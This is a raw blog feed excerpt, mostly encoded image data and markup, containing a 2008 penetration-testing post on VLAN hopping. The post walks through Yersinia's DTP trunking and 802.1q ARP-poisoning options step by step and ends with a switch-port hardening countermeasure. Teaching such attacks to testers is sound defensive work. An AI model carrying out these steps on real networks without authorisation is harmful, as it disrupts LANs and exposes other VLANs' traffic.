0%C4%C50%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%2B%D3%D4%C3%1C%CB%29%D9%DA%CF%DC%BF*%DF%12%C9%1D%DD%22%E5%E6%B7%21%E9%1C%C7%1D%E7%E8%EFX%AE%22%F3%F4%D7%1D%F7%F8%ED%22%E3B%F4%0B%91O%9F%1BokR%144%E8%89%04%1B%85%FFF%BC%A9%E2l%14%C5%28%0B%2F%FE%C8%A8Q%13%07%C7%8E5%3E%82%84%21r%E4%8Bj%26%89%84K%A9%20%01%21%F9%04%05%05%04%2C%0ANW0%03%FFH%BA%DC%0E%10%B8I%AB%BD8%B7%C8%B5%FF%E0%C7%8DRh%9E%219%A2lK%A9%A4%2B%B7%B0%3A%DF%60m%E3%3C%A6%C7%BD%E0%E4%B7%12%1A%17%C4%CEq%99%8C%2C%8FM%C8%13%DA%9CR%89%A7%806%20%1Cx%07%99dv%AB%ED%7D%BF%3E%1D%8AL%C6%9D%CF%97Z%8B%BDu%BF%BDi%25%8B%5E%BF%DD%D1qN.%7Ce%17%02%87%02%18%7FxV%04%84%5C%86%88%87%8A%8BV%8F%90%15%92%92%17%8B%8CK%8F%18%9A%88%94%7FO%97%A1%A2%89%9C%9D%9F%84%19%A9%AA%AB%A5F%A0%AF%A9%1A%ACB%B5%A8%A2%B8%95A%BB%BC%9A%1E%B98%A7%1A%B0%C4%C53%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%83%AE%1F%C9%1F%CB%7B%D9%DA%B7%20%DDc%7C%21%DB%DC%BF%DE%E5%E6%E1%E2%E9%26%C7%20%E7%E8%EF%20%D3%C8%ED%EE%D7%F6%EB%26%F3%FAo%D6%F4cW%CDD%3D%7EmP%FC%03%E8I%60%21%85%F9%0C%02jDm%18E%2B%0B%2F%0A%C9%A8%B1%12%07%C7%8E8%3E%82%9C%21r%A4%8C%82%26%8D%3C%E3%91%21%F9%04%05%05%04%2C%02%3CBB%03%F5H%04%DC%FE%F0%A9I%AB%BD%98%C6%CD%5D%FE%E0%D5%8D%5Ch%82d*%9D%AC%A5%BE%40%2BO%B0%3A%DF%F5x%EF%F9%B6%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%3D%05%AE%81%AA%0C%CB%D5%9A%B8%E0%AC7%13%06%8F%2F%E5%F0%99%92.%AF%09m%F7%3A%AE%3E%D3%CD%F6%3B%F6%AD%DF%E7%FB%7C%80%81w%3B%02%86%02Fz%85%87%86Et%3F%8C%8CDmA%91%87%8Ex%40%96%97%98WC%9B%8D%20%03%A3%03R%A0%88%A2%A4%A3P%A7%A8%19%AA%AAO%A7%21%B0%A4N%AD%B4%B5%A5M%B3%B9%B5%BC%A0%27%BA%BBK%BD%BE%B0L%C6%C7%B1J%B8%C2%BA%C5%C1%2C%C3%CD%CA%CB%B6I%D6%D7%ABH%DA%DB%C4F%DE%A9%BFG%E2%E3%C8%E1%E6%1F%D4%E9%9B%3B%ECE%D27%F0D%F23%F4%F5%91%40%F8%F9%A1%3F%FCo%26%0CH%60%60%40%83o%10%AEQx%86aCt%0410K%21%F9%04%05%05%04%2C%02%1F0W%03%E7H%BA%0C%0E%2C%CAIk%7B%CE%EAM%B1%E7%E0%E6%8Da%29%8D%A8%A9%A2%A9Z%B2%AD%CB%C1%B1%AC%D1%A4%7D%E3%98.%F2%0F%DF%0E%08%11v%88E%E3%04%A9%AC%9B%16%1C4%0A%9B%0E%7B%D6_%26%CB%EDz%BF%E0%B0xL.%9B%CF%A1%80z%CDn%BB%DB%B6%B7%7C%CEv%D1%EFs%15%7E%0F7%F1%FF%01z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93h%02%96%02f%97%9Ac%9A%9D%98%60%9E%9D_%A1%9E%5D%A4%A1Y%A7%A8V%AA%A5S%AD%A2%AF%B0%97%A9%B3%96%AC%B6%9F%B2%B3%5C%B62%03%C0%03%16%BC.%C1%C1%15%AD6%C6%C6%14%A7%3E%CB%C7%CD%B1%3A%D0%D1%D2%B7B%D5%C0b%DA%C2a%DD%DE%60%DD%DC%E3%DF%DA%E4%D5c%E5%E2%E7%E6%ED%EC%E9%EE%F1%F0%D0%E8%F5%F6%CB%F8%CC%F2%F7%F4%F9%FA%DB%D4%CD%D3wf%9F%86%04%21%F9%04%09%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CAI%AB%BD8%EB%CD%BB%FF%60%28%8Edi%9Eh%AA%AEl%EB%BEp%2C%CFt%0A%DC%40%AD%938%BE%FF%9E%5E%0FH%CC%08%7D%C5%24%E5%88T%3A%1D%CC%E6sJ%88%E6%A8X%2B%96%AA%DDN%BB%5E%A5%F5%1AN%82%CB%C41%DA%1C%5D%B3%99%EEt%3B%0E%3C%D3i%EA%BB%CE%AE%8F%E5%FB3%7C%80%12%01%85%01%21%82%83%0E%86%86%20%89%8A%0B%8C%92%1Fs%90%10%92%98%1D%95%96%8B%98%99%1BG%9C%11%9E%9E%1CC%A2%A3%A4%9F%A8%26%AA%A5%AC%AD%AE%93%B0%24%B2%B3%B4%23%B6%8C%B8%B5%BA%85%BC%22%BE%BF%C0%21%C2%C4%C1%B6%C7%B9%AE%CA%CB%A4%CD%BD%B7%D0%CE%87%D3%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%C0%02%E4%E5%E6%E7%E8%E7%DC%E9%EC%ED%E6%DA%EE%F1%ED%D9%F2%F5%EA%D8%F6%F9%02%F4%FA%F5%F0%FD%EE%D6%01L%27%AE%A0%C1%83%08%13*%5C%C8%B0%A1%C3%87h%06H%1Cq%C1%C4%8B%10%2Fj%A4%D8pP%A3F%86%1E7*%0C%E9%11%21%C9%92%07O%8A4%A8%F2%23%CB%96%13M%C2%94%98r%26%C7%970%13%CE%5C%98%93%E7I%87%24%2B%AE%ACH%23%D1%A3H%93*%5D%CA%B4%A9%D3%A7P%A3J%9DJ%B5%AA%D5%ABX%B3j%DD%CA%B5%AB%D7%AF%60%C3%16I%3B" /&gt;&lt;p id="greasedLightboxLoadingText"&gt;Loading image&lt;/p&gt;&lt;p id="greasedLightboxLoadingHelp"&gt;Click anywhere to cancel&lt;/p&gt;&lt;/div&gt;&lt;div id="greasedLightboxError"&gt;&lt;p id="greasedLightboxErrorMessage"&gt;Image unavailable&lt;/p&gt;&lt;p id="greasedLightboxErrorContext"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img id="greasedLightboxPreload" /&gt;&lt;img id="greasedLightboxPrefetch" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-4733760304688150578?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/4733760304688150578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=4733760304688150578' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4733760304688150578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4733760304688150578'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/then-yin-and-yang-of-brute-force-attack.html' title='Then Yin and Yang of the Brute Force Attack'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_IYfuPD9qO24/SIeyhRZnH3I/AAAAAAAAAB4/j-ls-jKlmcY/s72-c/xhydra.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-1935390531460186105</id><published>2008-07-15T14:15:00.014-04:00</published><updated>2009-01-01T13:35:06.246-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yersinia'/><category scheme='http://www.blogger.com/atom/ns#' term='VLAN hopping'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><title type='text'>Destroying the LAN Part 3; The mysterious VLAN hopping attack</title><content type='html'>In today's post we are going to talk about another layer 2 switching attack, the mysterious VLAN hopping attack. I call the attack mysterious because for a long time this type of attack was considered theoretical. We have a nice little tool to help us accomplish this attack and show that this attack is a real threat.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you are a penetration tester/ethical hacker you should really become familiar with the tool we are going to talk about. This tool gives us new ability to simulate dangerous internal attacks that would be extremely disruptive to a LAN. I usually recommend that this type of pen test is done with the LAN administrator knowing full well that this attack will probably cause some major issues with the LAN. In other words after business hours.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The tool we are going to explore to today is called Yersinia. It is named after the bacteria that caused the black plague. If you understand the full potential of this tool you can see why it would be likened to the plague. This tool really gets down and dirty with layer 2. You can mess with spanning tree, CDP, DTP, HSRP 802.1q etc. If you would like to read more about this tool you can do so at &lt;a href="http://www.yersinia.net/"&gt;http://www.yersinia.net/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To execute this attack we are going to open Yersinia with the Ncurses GUI. The command to execute it in this mode is &lt;strong&gt;./yersinia -I. &lt;/strong&gt;For help on the different modes of Yersinia execute &lt;strong&gt;./yersinia -h.&lt;/strong&gt; You should get a window that looks like the following.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img id="BLOGGER_PHOTO_ID_5223974730824316802" style="margin: 0px auto 10px; display: block; text-align: center;" alt="" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SH9JVwJmd4I/AAAAAAAAABo/ZON_mrq2ER0/s320/yersinia.jpg" border="0" /&gt;&lt;br /&gt;After executing Yersinia with the -I option you are presented with a screen that looks like the following: &lt;/p&gt;&lt;p&gt;&lt;a href="http://2.bp.blogspot.com/_IYfuPD9qO24/SH9MVZb7RhI/AAAAAAAAABw/waIooL1DDoQ/s1600-h/yersinia2.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5223978023262045714" style="margin: 0px auto 10px; display: block; text-align: center;" alt="" src="http://2.bp.blogspot.com/_IYfuPD9qO24/SH9MVZb7RhI/AAAAAAAAABw/waIooL1DDoQ/s320/yersinia2.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Make sure that it shows the Ethernet interface you want to sniff traffic from. If it doesn't use the i button and it should allow you to select an interface. At this point you will need to wait a few minutes about 5 and if the switch is vulnerable you will start seeing DTP frames. If not that's it the attack is over. To see the VTP frame count you can hit F5.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;After seeing a few DTP packets then we want to setup a trunk with the switch. To do this we hit g, choose DTP mode, X for attacks and 1 for trunking. You should see it display Dynamic Desirable in the screen. After it forms a trunk we should be able to see some traffic mostly broadcast. Then we press g again, choose 802.1q, hit x again and choose 2 for 802.1q arp poisoning. We then need to know a host that isn't alive in the VLAN, the VLAN number and the gateway of the VLAN we are hopping into. We enter this info and then we start seeing packets from the other VLAN. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;This proves something Important, &lt;span style="font-weight: bold;"&gt;VLANS don't create security!!!!!!!!!&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Countermeasures&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The countermeasures for this attack are actually quite simple. The most important is to make sure that all ports on a switch that aren't connecting to other switches are hard coded as access ports. I use the following configuration to shore up host ports from most attacks.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;3560(config-if)#switchport host&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This configuration accomplishes a few things. First it turns on portfast and then it hard codes the port for access. This is good for stations connected to an end host because it enables rapid spanning tree and makes the network start faster if the station is rebooted. It also disables the trunk negotiation which we used in the beginning of our attack.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;So now we have hopped vlans and then put in place security to stop this variation of the vlan hopping attack. So once again our network is in balance.&lt;/p&gt;&lt;div id="greasedLightboxOverlay"&gt;&lt;div id="greasedLightbox"&gt;&lt;img id="greasedLightboxImage" /&gt;&lt;div id="greasedLightboxCaption"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxMenu"&gt;&lt;a title="Update available (v0.17)" href="http://shiftingpixel.com/lightbox/" id="greasedLightboxTitleLink"&gt;Greased Lightbox - Update available (v0.17)&lt;/a&gt;&lt;div id="greasedLightboxButtons"&gt;&lt;a title="Next image (right arrow key)" id="greasedLightboxButtonRight"&gt;→&lt;/a&gt;&lt;a title="Previous image (left arrow key)" id="greasedLightboxButtonLeft"&gt;←&lt;/a&gt;&lt;a title="Magnify image (+ key)" id="greasedLightboxButtonPlus"&gt;+&lt;/a&gt;&lt;a title="Shrink image (- key)" id="greasedLightboxButtonMinus"&gt;-&lt;/a&gt;&lt;a title="Start/stop slideshow" id="greasedLightboxButtonSlide"&gt;↻&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxLoading"&gt;&lt;img style="border: medium none ;" src="data:image/gif,GIF89a%80%80%A2%FF%FF%FF%DD%DD%DD%BB%BB%BB%99%99%99%FF%21%FF%0BNETSCAPE2.0%03%01%21%F9%04%05%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CA%06*%988%EB%CD%BB_%96%F5%8Ddibax%AEl%AB%A5%A2%2B%CF.%5C%D1x%3E%DA%97%EE%FF%12%1EpHT%08%8B%C8G%60%190%1DI%83%E8%20%F9a2K%CF%8FTJ%E5X%AD%A4lg%BB%EDj%BE%D7%9D%0DJ%8E%9A3%E8%B4G%BCis%DF%93%B8%9CC%CF%D8%EFx%12zMsk%1E%7FS%81%18%83%850%87%7F%8Apz%8D%29%8Fv%91%92q%1D%7D%12%88%98%99%9A%1B%9C%10%88%89%9Fy%93%A2%86%1A%9E%A7%8B%8C%2F%AB%18%A5%AE%A0_%AA%8E%AC%90%B5%B6%60%19%A3%0D%AD%BC%AF%A1%28%B2%9D%BB%C3%C4h%BF%C7%A4%C9%CA%A8%A9A%CE%0E%B4%D1%BD%7B%10%C0%0A%C2%D8%D2%C5%DB%D5%0C%D7%DF%CB%B7%13%B9%C8%97x%02%EE%02%2B%B0%D47%13%DEln%1E%EF%EF%27%F2%2B%F6Zd%3A%E8%1Bhb%9A%3Fv%F7%DAp%18%C8%90%84%C1%13%D0%C6%94%CB%C0%B0%E2%08f2%14%02%2Ce%8A%FFb%C5%86U%B4%B5%28%B3%91%A3%C0%8F%20%CD%CD%E2%08h%21%CA%94*%AD%B1l%99%EF%25%C1%98%0Bf%D2%1Ca%F3fL%9D%F8X%F4%D4g%0EhG%17C%F7%0D3%EA%23%A9%3B%5EL%818u%054%C9P%AA%2C%DF%D8%C4%FA%8F%CAK%AE%08%15Y%AC%15%F6%13%D1%A5%3Bq%AA%5D%CB%B6%AD%DB%B7p%E3%CA%9DK%B7%AE%DD%BBx%F3B4%DA%F5%1B_a%7F%27%16%0D%0C%89%B0%E0h%86%13%F3%FD%A9%B8qV%95%8E%23%F7%85*%D9Me%B5%97%BB9f%1BY%AF%E7%CF%A0C%8B%1EM%BA%B4%E9%D3%A8S%AB%C6A%92r%D0Se1%C5%7Es8P%ED%24%26a%DF%1E2%13%EC%E4%1CUu%F7%06%12%D5wn%E0%C1%5D%0F%9FQ%1Cq%F2%83%3A1%3FO%F8Xzt%EA%C7%DB6%AFs%5D%EE%F4%95%D5%25%BEv%D1Z%7Cv%F0%BB%EB%05%CC%B8%DERz%99%BF%D5kd%11%91%C3y%F9%F3G%D4%2F%B1%DF%7E%FF%08%BC%F9%E9%F7_I%EDaW%12t%01%3EP%DE3%B3%B9g%DB%80%9A-%A8%20%84%8CAha%7C%90Q%A8%21%85%7Ea%B8%21%87%CE5%18%8C%88%E4%80%88%16%89%25%26%C8%A0%8A%19%A2%98%93%8B%11%B2%D8%21%8C1J%08%A0%89%9F%BC%97b%81%F8%C9x%A2%8F%F0%F1%D8%A3%8D%CA%E8%B8%23%91%2B%02%29%9C%92%232y%24%92%C6%A55%E4x%7E%E0H%9B%95%04%60%89%A1%22%5B%06%09%E5%8D4%9Aa%A4%97RNY%26%97X%D6x%E6%3ANv%91%A6%9ATr%D7%26%15of%19%26%99q%E6%28%A4%7Fs%929%E3Q%EE%7D%89%1Eiu%AAVhj%87%A2%96%E8i%8B%9A%D6%A8%A3%7B%AE%C6%27%A0%AE%24%21%F9%04%05%05%04%2C%0A%02W0%03%FFH%BA%DC%FE0%BE%40%83%BC8%EB%3D%2B%E5%60%28J%9E7%9E%28WVi%EBv%EB%2B%BF%EB7%DFgm%E1%3C%A8%F7%23%81P%90%FA%A1H%40k8D%19G%C9%24%8A%C9%CC%D5N%D1%E8%89%DA%1C%3DCYi%90%2B%F4%5EEa%B1%88%DC%F5%9DAi%F5%9A-%FAn%E2%CA%14%9B%E8%8E%C1%E3.%7B%21v%19x%2F%82*o%1A%86%87%88%1A%84%12xy%8Dd%89%7E%8B%803%7B%7C%19%90%10%928%8E%18%9E%0F%8C%A1t%9D%8A%91%99%3C%A2%24%AA%11%A6%AD%A8%17%A4%0C%B2%B3%B4%11%B6%0A%A0%40%0A%AE0%25%18%B8%3D%9B%B5%B0%0D%BE%BF%C0%BA%10%97%B1%AC%10%03%D4%03%81%CE%C2%C4%D2%0F%D5%D5K%D8G%DB%0D%DD%E4z%952%E2%E3%E4%E5c%5C3%E9%0C%EB%F2%EDm%E8Y%18%F2%F3se%3CZ%19%F9%FA%98%09%04%18P%E0%2F%82%EB%0C2C%C8N%21%10%86%DD%1C%1E%84HMb%0F%8A%15-%F2%C0%A8%F1%13%22%C3%8E%0F%09%82%0C%99o%E4%C4%86%26IZK%A9%21%01%21%F9%04%05%05%04%2C%1F%02W0%03%FFH%BA%DC%FEKH%01%AB%BD8%EB6%E7%FE%60%A8u%9Dh%9E%22%E9%A1l%5B%A9%92%2B%CF%04L%D1%F8i%E7%7C%B8%F7%A2%81p%C0%FA%9D%02%C8%40k8D%19E%C9%24%8A%C9%D4%C1%8EQ%A9%89%DA4%3DAYm%90%2B%F4%5E%A1a%E4%89%DC%05%7D5i%F1%98%9C%3A%83%E3K%B6%CF%BE%89%2B%F3tn%7Cpx.lD%1Fo%17%7E3%87%88%23%83%8B%8C%8Dz%1B%8A%15%93%94%95%19%97%0F%7E%7F4%87%96%91%98%859%A2%9C%A4%9E%A6%A7%9B%17%9D%0D%99%3C%A8%AF%AA%B1%AC%B3%B4%2F%B6%0B%9F%40%0B%BA%10%B0%0A%B2%40%8E%B5*%92%B8%C6%AE%C2%24%18%C5%BF%04%C1%0F%25%CAa.%DA%18%D4%28%D1%21%DB%DB%DD%812%CB%20%E2%E9%17%CD%2C%E7%1A%E9%F0%E4U8%D8%22%F0%F7%19%F39Q%26%F7%F8%D2%D2%FC%FD%03%D8C%E0%40%828%0C%C6C%C8C%A1%3A%86%09%1D%8E%83HC%E2D%8A3%2Cj%C3X%D1%14%22%C7%88%0A%3F%E6%08%29r%A4%C0%92%05%17%A2L%B9%D1D%02%21%F9%04%05%05%04%2C%3C%02BB%03%FEH4%3C%FA0%CAI%AB%9D%AD%DD%CD%7B%CD%99%27%8E%16%A8%91hj2i%3B%AE%8E%2Bo%F0l%7F%EB%ADG%B5%2B%FC%82%DD%A3%97%02%02%85%8B%5C%D1x%DC%11I%CC%A6%EE%29%8AJo%D4%8E%F5j%CBr%B6A%A1%F7%02F%26M%D0%ADy%5C%29%AF%95Z7%92%3D%91%CF%E1%1Bp%F8%8D%8E%5B%CDCx%16v%7C%20%7EQ%80%81%7Ddj%89%0At%0Az%8E%8F%82u%8D%93%90%92%93%94%21%8C%7F%9B%8A1%83%97.%01%A6%01%3B%84%28%A7%A7%3A%A4%AB%AC%AC7%AF%22%B1%B6%AEL%29%B6%BB%A9%5C%1E%BB%BC%A0%1B%C0%C1%C2%15%C4%C5%C6%12%C8%B7%CA%14%CC%B1%CE%13%D0%B2%D2%11%D4%AD%D6%D7%D8%A8%DA%10%DC%DE%CB%D0%E1%D3%C8%E4%CF%C4%E7%C7%CD%EA%EB%A6%ED%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FA%FD%FE%FF%03%024%26%B0%A0%C1%7F%A0%0E*4%B8i%A1%C3%81%93%1EJ%04%D0p%A2%C3%84%16%0F%12%CC%28%03PA%02%21%F9%04%05%05%04%2CN%0A0W%03%ECH%BA%BC%F3%A3%C9I%2B%85%D0%EA%7Dq%E6%E0%E6%7Da%29%8D%A4%A9%A2%A9Z%B2%91%BB%B2%B2%0B%D7%E6%8D%87p%BCs%BA%9F%28%28%B4%10%8B%1D%14r%A8%5CV%8ENF%2F%9A%1CQ%27%D3k%03z%E5%AA%04%60%81%91%B6%0B%87%9F%CD%9Ay%5D%C5%A8%D7%EC%B6%CF%04%AF%8F%1F%B2%BA%9D%AA%DF%3B%FB%7EH%80p%7C%83fQ%86%87%7F%89%60%85%8C%8E%86Z%89Z%0A%83%94%0B%80%97%0C%81%9A%95g%9D%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA*%01%AD%AE%AF%B0%B1%B05%B2%B5%B6%AF.%B7%BA%B6%AC%BB%BE%B8%26%BF%C2%01%BD%C3%BB%B9%C6%B7%B4%C9%B2%AB%CE%CF%D0%D1%D2%D3%D4%D52%D8%A5%D9%DC%A2%DC%DF%DA%9D%E0%DF%E2%E3%E4%94%E6%E3%E8%E9%E0Z%EC%ED%EE%EF%DD%F1%F2%D8%F4%F5%EB%F5%E1W%FA%FB%FC%F8%F9%D8%95K%17%8A%A0%B7s%A3%E6QH%21%F9%04%05%05%04%2CN%1F0W%03%E9H%BA%DC%FEn%C8%01%AB%BDmN%CC%3B%D1%A0%27F%608%8Eez%8A%A9%BAb%AD%FBV%B1%3C%93%B5v%D3%B9%BE%E3%3D%CA%2F%13%94%0C%81%BD%231%A8D%B6%9A%8F%1C%14R%9B%F2L%D6%AB0%CB%EDz%BF%E0%B0xL.%9B%CF%5C%81z%CDn%BB%DB%B3%B7%7C%CE%5E%D1%EF%F3%13%7E%0F%1F%F1%FF%02z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93%0A%01%96%01f%97%9Ac%9A%9D%98%60%9E%9D%A0%A1%A2%5D%A4%A1%A6%A7%9E%5C%AA%AB%AC%AD%9B%AF%B0%96%B2%B3%A9%B3%9FY%B8%B9%10%BE%2F%B8%15%BF%BF%C1%B0%BD%C4%C5%C6%A7%C8%C9%C07%CC%0F%CE%CA%D0%A5%D2%D3%CF%3B%B1%C3%D8b%D8%BE%DE%DDa%DF%D9_%DFc%E7%E3%E2%EA%D3%E1%EB%E6%EF%5E%E4%EE%CE%E8%F1%5D%E9%EC%F5%FA%FB%60%F9%FE%ED%E8%11%23%D3%CF%1E%B8%29%09%21%F9%04%05%05%04%2C%3C%3CBB%03%F9H%BA%DC%FEP%8DI%AB%BD6%EA%1D%B1%FF%15%27r%60%F9%8D%E8c%AEY%EAJl%FC%BE%B1%3C%BB%B5y%CF%F9%B9%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%10X%05%D4%D7u%9B%1Dm%BF%D8%AE%06%FC%15G%C8%60%B3%03MV3%D8mw%15%5E%96%CF%E9W%FB%1D%1Fv%F3%F3v%7FVz%82F%01%87%017%7FD%88%88%8AxC%8D%8D%3Bt%91%92%87%40l%96%97%89%99u%11%A1%1C%9C%98A%5C%1A%A2%A2%A4%A5O%AA%AA%1B%A5%A6L%AF%AB%B1%ADM%B5%A1%AC%B8K%BA%A3%BC%97%B9%BA%23%B2%B4%C4%22%C6%BE%C8%C9%BDH%BF%28%B2%9D%CF%CC%CD%9CJ%D0%D1%CAG%D9%DA%D7%D4%B5%2F%DBE%DD%DE%C2%DC%D5%E6%92%E8%E1%E2%E3B%E5%29%EFA%F1%F2%DFD%F5%EA%8E%E4%E9.%E7%FC%EDvLb%F7J%8F%83%7Cv%10%CAQ%E8%86%A1%1A%87%0F%0B%1A%7Ckb%83%04%21%F9%04%05%05%04%2C%1FNW0%03%FFH%BA%DC%FE0%CA7%EA%988%EB%CD%89%FD%5D%28%8E%CDg%5Ed%AAJ%A7%B9%BE%B0%D7%BAq%1D%CE%AD%ADkx%BE%FF%90%DE%09Ht%08i%C5%E4%11%94%2C.-M%E5%13%15%05N5%80%2C%E0%27%E8%0AFO%8CV%AB%F3z%C1%C7%C9x%5C3%9BIB%F5%3A%DBvwU8%C9%9C%1C%B3%9F%F1H%10%7Bt%13%01%86%01%18%7Ew%2BL%11%83%5B%85%87%86%89%8AQ%8F%90%11%92%92%13%8A%8BE%8F%18%9A%87%94%7EI%97%A1%A2%88%9C%9D%9F%83%19%A9%AA%AB%A5%40%A0%AF%A9%1A%AC%3F%B5%A8%A2%B8%95%3B%BB%BC%9A%1B%B95%A7%1A%B0%C4%C50%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%2B%D3%D4%C3%1C%CB%29%D9%DA%CF%DC%BF*%DF%12%C9%1D%DD%22%E5%E6%B7%21%E9%1C%C7%1D%E7%E8%EFX%AE%22%F3%F4%D7%1D%F7%F8%ED%22%E3B%F4%0B%91O%9F%1BokR%144%E8%89%04%1B%85%FFF%BC%A9%E2l%14%C5%28%0B%2F%FE%C8%A8Q%13%07%C7%8E5%3E%82%84%21r%E4%8Bj%26%89%84K%A9%20%01%21%F9%04%05%05%04%2C%0ANW0%03%FFH%BA%DC%0E%10%B8I%AB%BD8%B7%C8%B5%FF%E0%C7%8DRh%9E%219%A2lK%A9%A4%2B%B7%B0%3A%DF%60m%E3%3C%A6%C7%BD%E0%E4%B7%12%1A%17%C4%CEq%99%8C%2C%8FM%C8%13%DA%9CR%89%A7%806%20%1Cx%07%99dv%AB%ED%7D%BF%3E%1D%8AL%C6%9D%CF%97Z%8B%BDu%BF%BDi%25%8B%5E%BF%DD%D1qN.%7Ce%17%02%87%02%18%7FxV%04%84%5C%86%88%87%8A%8BV%8F%90%15%92%92%17%8B%8CK%8F%18%9A%88%94%7FO%97%A1%A2%89%9C%9D%9F%84%19%A9%AA%AB%A5F%A0%AF%A9%1A%ACB%B5%A8%A2%B8%95A%BB%BC%9A%1E%B98%A7%1A%B0%C4%C53%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%83%AE%1F%C9%1F%CB%7B%D9%DA%B7%20%DDc%7C%21%DB%DC%BF%DE%E5%E6%E1%E2%E9%26%C7%20%E7%E8%EF%20%D3%C8%ED%EE%D7%F6%EB%26%F3%FAo%D6%F4cW%CDD%3D%7EmP%FC%03%E8I%60%21%85%F9%0C%02jDm%18E%2B%0B%2F%0A%C9%A8%B1%12%07%C7%8E8%3E%82%9C%21r%A4%8C%82%26%8D%3C%E3%91%21%F9%04%05%05%04%2C%02%3CBB%03%F5H%04%DC%FE%F0%A9I%AB%BD%98%C6%CD%5D%FE%E0%D5%8D%5Ch%82d*%9D%AC%A5%BE%40%2BO%B0%3A%DF%F5x%EF%F9%B6%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%3D%05%AE%81%AA%0C%CB%D5%9A%B8%E0%AC7%13%06%8F%2F%E5%F0%99%92.%AF%09m%F7%3A%AE%3E%D3%CD%F6%3B%F6%AD%DF%E7%FB%7C%80%81w%3B%02%86%02Fz%85%87%86Et%3F%8C%8CDmA%91%87%8Ex%40%96%97%98WC%9B%8D%20%03%A3%03R%A0%88%A2%A4%A3P%A7%A8%19%AA%AAO%A7%21%B0%A4N%AD%B4%B5%A5M%B3%B9%B5%BC%A0%27%BA%BBK%BD%BE%B0L%C6%C7%B1J%B8%C2%BA%C5%C1%2C%C3%CD%CA%CB%B6I%D6%D7%ABH%DA%DB%C4F%DE%A9%BFG%E2%E3%C8%E1%E6%1F%D4%E9%9B%3B%ECE%D27%F0D%F23%F4%F5%91%40%F8%F9%A1%3F%FCo%26%0CH%60%60%40%83o%10%AEQx%86aCt%0410K%21%F9%04%05%05%04%2C%02%1F0W%03%E7H%BA%0C%0E%2C%CAIk%7B%CE%EAM%B1%E7%E0%E6%8Da%29%8D%A8%A9%A2%A9Z%B2%AD%CB%C1%B1%AC%D1%A4%7D%E3%98.%F2%0F%DF%0E%08%11v%88E%E3%04%A9%AC%9B%16%1C4%0A%9B%0E%7B%D6_%26%CB%EDz%BF%E0%B0xL.%9B%CF%A1%80z%CDn%BB%DB%B6%B7%7C%CEv%D1%EFs%15%7E%0F7%F1%FF%01z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93h%02%96%02f%97%9Ac%9A%9D%98%60%9E%9D_%A1%9E%5D%A4%A1Y%A7%A8V%AA%A5S%AD%A2%AF%B0%97%A9%B3%96%AC%B6%9F%B2%B3%5C%B62%03%C0%03%16%BC.%C1%C1%15%AD6%C6%C6%14%A7%3E%CB%C7%CD%B1%3A%D0%D1%D2%B7B%D5%C0b%DA%C2a%DD%DE%60%DD%DC%E3%DF%DA%E4%D5c%E5%E2%E7%E6%ED%EC%E9%EE%F1%F0%D0%E8%F5%F6%CB%F8%CC%F2%F7%F4%F9%FA%DB%D4%CD%D3wf%9F%86%04%21%F9%04%09%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CAI%AB%BD8%EB%CD%BB%FF%60%28%8Edi%9Eh%AA%AEl%EB%BEp%2C%CFt%0A%DC%40%AD%938%BE%FF%9E%5E%0FH%CC%08%7D%C5%